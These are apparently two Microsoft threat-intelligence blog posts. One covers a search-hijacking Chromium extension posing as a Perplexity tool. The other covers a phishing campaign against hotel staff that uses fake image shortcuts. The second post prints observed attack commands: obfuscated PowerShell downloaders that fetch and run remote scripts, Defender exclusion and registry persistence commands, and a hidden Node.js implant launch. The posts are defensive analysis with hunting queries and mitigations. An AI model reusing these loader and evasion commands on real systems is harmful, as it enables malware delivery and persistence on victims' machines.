Figure 3. Manifest.json configuration of the analyzed extension. Figure 4. Manifest.json configuration of the analyzed extension (continued). Key indicators of malicious behavior Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { "search_provider": { "name": "Perplexity Search", "keyword": "perplexity", "is_default": true, "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" } }

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": [ "declarativeNetRequest", "declarativeNetRequestFeedback", "declarativeNetRequestWithHostAccess" ]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [ { "id": "perplexity", "enabled": true, "path": "perplexity-rules.json" }, { "id": "bing", "enabled": false, "path": "bing-rules.json" }, { "id": "google", "enabled": false, "path": "google-rules.json" } ]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions": [ "*://perplexity-ai[.]online/*" ] Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"}

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

Figure 5. Onboarding page launched by the extension after installation.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

TacticObserved activityMicrosoft Defender coverageDiscoveryPresence of suspicious or unverified browser extension identifiers– Detection of unknown or low-reputation extension artifacts
– Monitoring extension-related files through endpoint telemetryCommand and Control (C2)Outbound communication to suspicious or lookalike domains associated with redirection infrastructure– Detection of connections to suspicious or low-reputation domains  
–  Network telemetry correlation identifying intermediary infrastructure Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents | where FileName has "flkebkiofojicogddingbdmcmkpbplcd" or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd" | summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents | where RemoteUrl has "perplexity-ai.online" | summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl MITRE ATT&CK techniques observed TacticObserved activityInitial AccessUser installs malicious Chromium extension using branding and naming similar to the Perplexity AI service from browser ecosystemExecutionExtension executes MV3 logic and DNR rules to intercept and control trafficPersistenceExtension forces itself as default search provider using chrome_settings_overrides (is_default=true)Defense EvasionUses legitimate MV3 APIs (DNR rules) to hide malicious behavior inside browser-native logicInput CaptureReal-time search suggestions (keystrokes) are captured through suggest_url and routed to attacker domainCommand and ControlBrowser queries are routed to an intermediary infrastructure not associated with the official vendor domain acting as intermediary Indicators of compromise IndicatorTypeDescriptionperplexity-ai[.]onlineDomainTyposquatted domain used for search redirectionflkebkiofojicogddingbdmcmkpbplcdExtension IDMalicious Chromium extensionextension.tilda[.]ws/perplexityaiURLInstallation onboarding page References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Mitigation and protection guidance
3. References 
4. Learn more

Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview Figure 1. Assessed attack chain for the Node.js photo ZIP/LNK campaign showing both Wave 1 and Wave 2 stages.

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

LNK file Source archive Wave IMG-805916584.png.lnk C:\Users\[REDACTED]\Downloads\photo-961032103.zip 1 IMG-421741673.png.lnk C:\Users\[REDACTED]\Downloads\photo-818773648.zip 1 IMG-223099041.png.lnk C:\Users\[REDACTED]\Downloads\photo-716449357.zip 1 IMG-386443483.png.lnk Browser download 1 PHOTO-215746435.png.lnk Browser download 2 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Figure 2. Phishing redirect flow. Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Language Canonical lure (theme) Japanese Serious guest complaint Japanese Bedbug complaint, verification call Japanese Guest stay review request  Japanese Room condition, facility inquiry Japanese Final warning: infestation, forced inspection Danish Bedbug complaint, inspection call Danish Formal complaint, notice of suspension Danish Health-risk safety alert Dutch Complaint: possible danger, hospitalization after stay 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication Check Result Why SPF Pass Email sent from authorized service DKIM Pass Signed by Calendly’s SendGrid sending infrastructure  DMARC Pass Alignment on calendly.com domain Composite authentication (CompAuth) Pass All checks align 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

Artifact Details PowerShell script qFWe908J.ps1 ( Size 419 KB) Compiled DLL bjygtujc.dll Size 3,072 bytes) 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = ...

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\""

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe C:\ProgramData\PEIEZlD\qulcp452eb9.exe C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe C:\ProgramData\PsrOqKF\vl8daccehg.exe C:\ProgramData\riloNEK\s8bpfaee.exe C:\ProgramData\JMSVrLU\choffgpa.exe

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Figure 8. PowerShell obfuscation evolution across six observed phases (April–May 2026).

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; $w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\eRJGv.ps1"

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; $y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; $l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\ymqMj.ps1"

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; $y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; $o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; $MyL4evU3=256; $GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; $XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; while($XwcU0kg87CFgqe5 -ne 0){ $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; $=\"\" -as [bigint]; $=\"\" -as [bigint]; $=$ - $; for($i=0; $ -ne 0; $i++){ $+=[char]([int]($ % $IcZWdT)); $=[bigint]($ / $IcZWdT)}; iwr $ -OutFile $env:TEMP\.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign  Indicator Wave 1 (April to May 2026) Wave 2 (Late May to June 2026) Assessment PE payload hash (xmnrwv9l.exe) 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 Same hash observed Same payload binary C2 IP 178.16.54[.]27 Same IP, ports 56001/56002 Same infrastructure Node.js version v24.13.0-win-x64 v24.13.0-win-x64 Same runtime Domain sec-safe-dc[.]info Active in both waves Shared domain C2 ports 56001, 56002, 56003 56001, 56002 Same non-standard port pattern 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

